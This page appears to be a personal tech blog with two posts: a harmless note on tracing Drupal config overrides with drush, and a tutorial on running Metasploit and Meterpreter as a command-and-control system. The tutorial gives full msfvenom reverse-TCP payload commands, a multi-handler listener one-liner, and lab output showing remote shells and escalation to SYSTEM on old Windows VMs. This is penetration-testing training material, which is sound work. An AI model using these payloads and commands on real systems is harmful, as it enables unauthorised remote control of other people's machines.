You are here

February 2024

What is overriding your Drupal config?

Something is overriding config in Drupal - you can see it by invoking drush with and without the flag to include overrides:

$ drush cget system.performance | grep -B1 preprocess
css:
  preprocess: false
--
js:
  preprocess: false
$ drush cget --include-overridden system.performance | grep -B1 preprocess
css:
  preprocess: true
--
js:
  preprocess: true

Perhaps we want to turn this config off, but these overrides won't let us.

Where are these config overrides coming from?

Generally, overrides can come from two places - for example, see:

https://git.drupalcode.org/project/drupal/-/blob/10.2.3/core/lib/Drupal/Core/Config/Config.php#L280

      // Apply overrides.
      if (isset($this->moduleOverrides) && is_array($this->moduleOverrides)) {
        $original_data = NestedArray::mergeDeepArray([$original_data, $this->moduleOverrides], TRUE);
      }
      if (isset($this->settingsOverrides) && is_array($this->settingsOverrides)) {
        $original_data = NestedArray::mergeDeepArray([$original_data, $this->settingsOverrides], TRUE);
      }

There could be an override in settings(.php) or perhaps it's coming from a module. How can we tell which?

The settingsOverrides and moduleOverrides properties of the config object are protected, but in modern PHP there's at least one trick we can use to have quick look at them.

$ drush ev "var_dump((fn() => \$this->moduleOverrides)->call(\Drupal::config('system.performance')))"
NULL

$ drush ev "var_dump((fn() => \$this->settingsOverrides)->call(\Drupal::config('system.performance')))"
array(2) {
  ["css"]=>
  array(1) {
    ["preprocess"]=>
    bool(true)
  }
  ["js"]=>
  array(1) {
    ["preprocess"]=>
    bool(true)
  }
}

So we can tell that these overrides are coming from settings as opposed to modules.

Hopefully that'll help us track them down.

metasploit and meterpreter as a C2 with sessions and channels

It's possible to use the metasploit console and meterpreter as a powerful Command and Control (C2) system using sessions and channels; here's how.

One-liner to start up a multi-handler in the metasploit console listening on a given port for incoming connections from a (staged) metasploit payload:

$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4443; set EXITONSESSION FALSE; exploit -j"
 
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4443
EXITONSESSION => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4443
 
msf6 exploit(multi/handler) >

The main options we're using here that are noteworthy are telling the handler not to exit when it sets up a session, and the -j flag to run the listener as a background job.

If we only want to use that one payload in this case - if we're only working with linux targets here, for example - we're done.

However we can work with a different payload at the same time. Let's set something up for Windows targets too as an example.

(This payload is for older Windows machines, as I'm using a couple of old VMs I had lying around for the demonstration. There are hundreds of payloads available for all sorts of different targets.)

msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
 
msf6 exploit(multi/handler) >

So we now have two listeners running as background jobs on different ports, using two different payloads.

For our linux targets, we're listening on port 4443 so our exploit payload needs to use that port too.

Here's a simple example of preparing a suitable meterpreter linux executable (this is in a different terminal to the msf console).

Note that for the payload we'll run on the target, we need to specify the IP where the listener will be running.

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.123.234.87 LPORT=4443 -f elf -o 4443.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: 4443.elf

When that's executed on the target, we see something like this in the msf console:

msf6 exploit(multi/handler) >
[*] Sending stage (3045380 bytes) to 10.123.234.31
[*] Meterpreter session 3 opened (10.123.234.87:4443 -> 10.123.234.31:52594) at 2024-02-21 14:14:24 +0000
 
msf6 exploit(multi/handler) >

Now let's prepare the other payload; this one is for older Windows boxes.

$ msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.11.13.87 LPORT=4444 -f exe -o 4444.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 176198 bytes
Final size of exe file: 251392 bytes
Saved as: 4444.exe

When we execute that on the target, we should see something like this in our msf console:

msf6 exploit(multi/handler) > [*] Meterpreter session 4 opened (10.123.234.87:4444 -> 10.123.234.144:1042) at 2024-02-21 14:17:46 +0000

We now have two different sessions running - let's ask for a list:

msf6 exploit(multi/handler) > sessions -l
 
Active sessions
===============
 
  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  3         meterpreter x64/linux    mcdruid @ 10.123.234.31      10.123.234.87:4443 -> 10.123.234.31:52594 (10.123.234.31)
  4         meterpreter x86/windows  WINXP\Administrator @ WINXP  10.123.234.87:4444 -> 10.123.234.144:1042 (10.123.234.144)

Now if we want to interact with one of those meterpreter sessions:

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
 
meterpreter > sysinfo
Computer        : WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

To jump back to the console from there, we can either press Ctrl + Z or type background.

meterpreter >^Z
Background session 4? [y/N]
msf6 exploit(multi/handler) > sessions -l
 
Active sessions
===============
 
  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  3         meterpreter x64/linux    mcdruid @ 10.123.234.31      10.123.234.87:4443 -> 10.123.234.31:52594 (10.123.234.31)
  4         meterpreter x86/windows  WINXP\Administrator @ WINXP  10.123.234.87:4444 -> 10.123.234.144:1042 (10.123.234.144)
  5         meterpreter x64/linux    mcdruid @ 10.123.234.147     10.123.234.87:4443 -> 10.123.234.147:47674 (10.123.234.147)
  6         meterpreter x86/windows  IEWIN7\IEUser @ IEWIN7       10.123.234.87:4444 -> 10.123.234.27:49185 (10.123.234.27)

Oh, look - we've now got a few sessions going with different targets.

Let's go back into one of those sessions and kick off a shell:

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
 
meterpreter > shell
Process 1776 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\Documents and Settings\Administrator\Desktop>

We can send that shell to the background with Ctrl + Z, and list the channels running in that session. We can use the channel command to go back into our shell.

C:\Documents and Settings\Administrator\Desktop>^Z
Background channel 1? [y/N]  y
meterpreter > channel -l
 
    Id  Class  Type
    --  -----  ----
    1   3      stdapi_process
 
meterpreter > channel -i 1
Interacting with channel 1...
 
C:\Documents and Settings\Administrator\Desktop>

Two things to note here; one is that it's always sessions plural, but channel singular. I get this wrong all the time!

The other is that when we background a shell and then go back into it via the channel command, we won't see any output that's been received in the meantime - so we can't use this to multitask when waiting on a long-running command to finish if we want to see the output it produces.

You can use channels to run multiple shells in parallel on the same target though - for example:

msf6 exploit(multi/handler) > sessions -i 6
[*] Starting interaction with 6...
 
meterpreter > sysinfo
Computer        : IEWIN7
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
 
meterpreter > shell
Process 2296 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Users\IEUser\Desktop>whoami
iewin7\ieuser
 
C:\Users\IEUser\Desktop>^Z
Background channel 1? [y/N]  y
 
meterpreter > shell
Process 3796 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Users\IEUser\Desktop>^Z
Background channel 2? [y/N]  y
 
meterpreter > channel -l
 
    Id  Class  Type
    --  -----  ----
    1   3      stdapi_process
    2   3      stdapi_process
 
meterpreter > channel -i 1
Interacting with channel 1...
 
C:\Users\IEUser\Desktop>

Finally, just for fun, let's use meterpreter to escalate privileges and get a system shell:

meterpreter > getuid
Server username: IEWIN7\IEUser
 
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
 
meterpreter > shell
Process 3892 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>whoami
nt authority\system

If only it was always that easy.

Key things to remember:

  • EXITONSESSION FALSE and exploit -j to keep the listener running in the background.
  • sessions -l to list sessions and sessions -i ID to interact with a specific session.
  • channel -l to list channels and channel -i ID to interact with a specific channel.
  • Ctrl + Z to send the current channel or session to the background.